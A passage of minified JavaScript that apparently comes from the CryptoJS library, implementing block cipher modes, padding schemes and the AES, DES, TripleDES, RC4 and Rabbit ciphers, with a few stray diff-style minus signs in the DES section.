}) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); 